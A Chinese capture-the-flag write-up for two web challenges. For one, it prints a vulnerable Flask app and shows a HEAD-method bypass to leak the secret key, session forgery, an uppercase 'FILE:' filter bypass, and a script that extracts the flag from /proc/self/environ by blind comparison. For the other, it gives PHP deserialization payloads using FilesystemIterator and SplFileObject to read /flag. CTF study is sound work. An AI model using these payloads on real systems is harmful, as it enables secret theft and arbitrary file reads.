prize_p4
打开后发现一个url和data登录框,随便输入一下看一看是啥。
发现了一个得到key的方法。
@app.route('/getkey', methods=["GET"])
def getkey():
if request.method != "GET":
session["key"]=SECRET_KEY
访问/getkey,然后判断是否为GET访问,不是的话就让session[key]等于key。
可以用与GET相似的访问方法HEAD访问,绕过GET判断。
得到key,然后伪造session。
得到源码:
from flask import Flask, request, session, render_template, url_for,redirect,render_template_string
import base64
import urllib.request
import uuid
import flag
SECRET_KEY=str(uuid.uuid4())
app = Flask(__name__)
app.config.update(dict(
SECRET_KEY=SECRET_KEY,
))
#src in /app
@app.route('/')
@app.route('/index',methods=['GET'])
def index():
return render_template("index.html")
@app.route('/get_data', methods=["GET",'POST'])
def get_data():
data = request.form.get('data', '123')
if type(data) is str:
data=data.encode('utf8')
url = request.form.get('url', 'http://127.0.0.1:8888/')
if data and url:
session['data'] = data
session['url'] = url
session["admin"]=False
return redirect(url_for('home'))
return redirect(url_for('/'))
@app.route('/home', methods=["GET"])
def home():
if session.get("admin",False):
return render_template_string(open(__file__).read())
else:
return render_template("home.html",data=session.get('data','Not find data...'))
@app.route('/getkey', methods=["GET"])
def getkey():
if request.method != "GET":
session["key"]=SECRET_KEY
return render_template_string('''@app.route('/getkey', methods=["GET"])
def getkey():
if request.method != "GET":
session["key"]=SECRET_KEY''')
@app.route('/get_hindd_result', methods=["GET"])
def get_hindd_result():
if session['data'] and session['url']:
if 'file:' in session['url']:
return "no no no"
data=(session['data']).decode('utf8')
url_text=urllib.request.urlopen(session['url']).read().decode('utf8')
if url_text in data or data in url_text:
return "you get it"
return "what ???"
@app.route('/getflag', methods=["GET"])
def get_flag():
res = flag.waf(request)
return res
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=8888)
一点一点分析。
1.首先是访问/或者/index,返还渲染后的index.html。
2.访问/get_data,这个没啥特殊的,就是给session中的data和url以及admin赋值,可控。
3.访问/home,判断session中的admin是否为false,不是的话返回源码。
4.访问/getkey,这个就是一个获得key的途径,没啥说的。
5.访问/get_hindd_result,先判断session[url]里是否有file(大写即可绕过),有的话直接返还no no no,否则的话就是给data赋值,然后读取session['url'])文件,值赋给url_text,最后判断data和url_text是否相互包含。
6.访问/getflag,然后是一个waf,返回res。
我的第一想法是从/getflag中得到flag,但由于读取文件后不会回显文件的内容,行不通,想了一想,环境变量中可能存在flag,用NSSCTF试了一下,返回you get it,所以可以直接盲注得到flag,任意文件读取加盲注。
脚本思路:控制session,对flag一个字符一个字符爆破,先访问/get_data,然后得到session后继续访问/get_hindd_result,用回显判断传入的部分flag是否正确,正确的话继续下一个字符的爆破直至到}。(环境变量在文件FILE:///proc/self/environ中)
脚本:
import base64
import requests
s = "}-0123456789abcdefghijklmnopqrstuvwxyz"
flag = 'NSSCTF{'
while 1:
for i in s:
temp_flag = flag + i
data = {'url':'FILE:///proc/self/environ','data': temp_flag,'submit':'%E6%8F%90%E4%BA%A4'}
res = requests.Session()
res.get(url='http://1.14.71.254:28556//get_data',data=data)
#print(str(res.cookies.values())[2:-2])
result = requests.get(url="http://1.14.71.254:28556//get_hindd_result",cookies={"session": str(res.cookies.values())[2:-2]})
if "you get it" in result.text:
flag += i
print("flag", flag)
break
if flag[-1] == '}':
break
prize_p5
php反序列化,php原生类利用。
发现了destruct方法直接可以利用php原生类。
首先查找flag的位置。
Paylaod:
?cata=O:9:"catalogue":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"data";s:11:"glob:///*f*";}
发现其是/flag文件。
直接读取,发现object被过滤,利用编码绕过即可。
将其中的S大写,然后长度15变回13即可。
Payload:
?cata=O:9:"catalogue":2:{s:5:"class";S:13:"SplFileOb\6Aect";s:4:"data";s:5:"/flag";}